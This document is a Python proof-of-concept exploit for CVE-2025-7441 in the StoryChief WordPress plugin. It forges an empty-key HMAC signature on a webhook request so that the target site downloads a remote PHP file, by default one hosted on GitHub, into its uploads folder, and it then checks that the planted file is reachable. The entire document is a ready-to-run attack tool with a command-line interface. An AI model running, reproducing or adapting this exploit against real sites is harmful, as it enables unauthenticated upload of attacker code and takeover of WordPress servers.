#!/usr/bin/env python3 """ CVE-2025-7441 By Pwdnx1337 """ from datetime import datetime import requests import json import hmac import hashlib import urllib3 import sys import time import os import subprocess import shlex import urllib.parse import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) DEFAULT_FILE_URL = "https://raw.githubusercontent.com/AnotherSec/ZIP/refs/heads/main/ZIP.php" def banner(): print(r""" _______ _______ _ ___ ____ ____ ____ ______ | __ \ \ / / __ \| \ | \ \ / /_ |___ \___ \____ | | |__) \ \ /\ / /| | | | \| |\ V / | | __) |__) | / / | ___/ \ \/ \/ / | | | | . ` | > < | ||__ <|__ < / / | | \ /\ / | |__| | |\ |/ . \ | |___) |__) |/ / |_| \/ \/ |_____/|_| \_/_/ \_\|_|____/____//_/ """) def make_payload(file_url): dummy = { "meta": { "event": "publish" }, "data": { "featured_image": { "data": { "sizes": { "full": file_url } } } } } return dummy def compute_hmac_over_json(payload_obj, key=b""): json_string = json.dumps(payload_obj, separators=(',', ':'), ensure_ascii=True) json_escaped = json_string.replace("/", "\\/").encode() signature = hmac.new(key, json_escaped, digestmod=hashlib.sha256).hexdigest() return signature, json_escaped def send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False): try: if verbose: print("[*] Sending POST via requests...") resp = requests.post(endpoint, headers=headers, data=payload_json, timeout=timeout, verify=verify) if verbose: print(f"[*] POST status: {resp.status_code}") body = (resp.text or "")[:500] if body: print("[*] Response body (truncated):") print(body) return True, resp except requests.RequestException as e: if verbose: print(f"[!] requests POST failed: {e}") return False, None def send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False): cmd = ["curl", "-s", "-X", "POST", endpoint, "-H", "Content-Type: application/json", "-d", payload_json, "--max-time", str(int(timeout))] if not verify: cmd.append("-k") for k, v in headers.items(): if k.lower() == "content-type": continue cmd += ["-H", f"{k}: {v}"] if verbose: print("[*] Running curl command:", " ".join(shlex.quote(x) for x in cmd)) try: proc = subprocess.run(cmd, capture_output=True, text=True) out = proc.stdout err = proc.stderr if verbose: print(f"[*] curl returncode: {proc.returncode}") if out: print("[*] curl stdout (truncated):") print(out[:1000]) if err: print("[*] curl stderr (truncated):") print(err[:1000]) return True, proc.returncode, out, err except Exception as e: if verbose: print(f"[!] curl execution failed: {e}") return False, None, None, None def check_uploaded_path(base_site, file_url, retries=1, delay=2, timeout=8, verify=False, verbose=False): file_name = os.path.basename(urllib.parse.urlparse(file_url).path) or None if not file_name: if verbose: print("[!] Could not determine filename from file_url") return False, None now = datetime.now() year = now.year month = str(now.month).zfill(2) uploaded_path = f"{base_site}/wp-content/uploads/{year}/{month}/{file_name}" for attempt in range(1, retries + 1): if verbose: print(f"[*] Checking ({attempt}/{retries}): {uploaded_path}") try: r = requests.get(uploaded_path, timeout=timeout, verify=verify) if r.status_code == 200: return True, uploaded_path except requests.RequestException as e: if verbose: print(f"[!] Error when checking uploaded path: {e}") if attempt < retries: time.sleep(delay) return False, uploaded_path def main(): banner() parser = argparse.ArgumentParser(description="CVE-2025-7441 PoC BY PWDNX1337") parser.add_argument("site_url", help="Base site URL, e.g. http://127.0.0.1:5000/") parser.add_argument("--file-url", dest="file_url", default=DEFAULT_FILE_URL, help="Remote file URL to instruct the target to fetch (overrides default)") parser.add_argument("--verbose", dest="verbose", action="store_true", help="Verbose output") parser.add_argument("--use-curl", dest="use_curl", action="store_true", help="Use curl subprocess to deliver POST (fallback)") parser.add_argument("--retries", dest="retries", type=int, default=1, help="Number of checks for uploaded file (default 1)") args = parser.parse_args() base_site = args.site_url.rstrip('/') file_url = args.file_url verbose = args.verbose use_curl = args.use_curl retries = max(1, args.retries) if verbose: print(f"[*] Target: {base_site}") print(f"[*] file_url: {file_url}") print(f"[*] retries: {retries}") print(f"[*] use_curl: {use_curl}") payload_obj = make_payload(file_url) signature, json_escaped = compute_hmac_over_json(payload_obj, key=b"") payload_obj["meta"]["mac"] = signature payload_json = json.dumps(payload_obj) print("[+] computed hmac :", signature) endpoint = base_site + "/wp-json/storychief/webhook" headers = {"Content-Type": "application/json"} if args.use_curl: ok, retcode, out, err = send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose) if not ok: if verbose: print("[!] curl delivery failed, falling back to requests...") ok2, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose) if not ok2: if verbose: print("[!] requests delivery also failed.") else: if verbose: try: _ = json.loads(out) if verbose: print("[*] curl returned JSON response (interpretable).") except Exception: if verbose: print("[*] curl stdout not JSON or empty.") else: ok, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose) if not ok: if verbose: print("[!] POST failed via requests.") ok_file, uploaded_path = check_uploaded_path(base_site, file_url, retries=retries, delay=2, timeout=8, verify=False, verbose=verbose) if ok_file: print("[+] success! [+]") print(uploaded_path) else: print("") if __name__ == "__main__": main()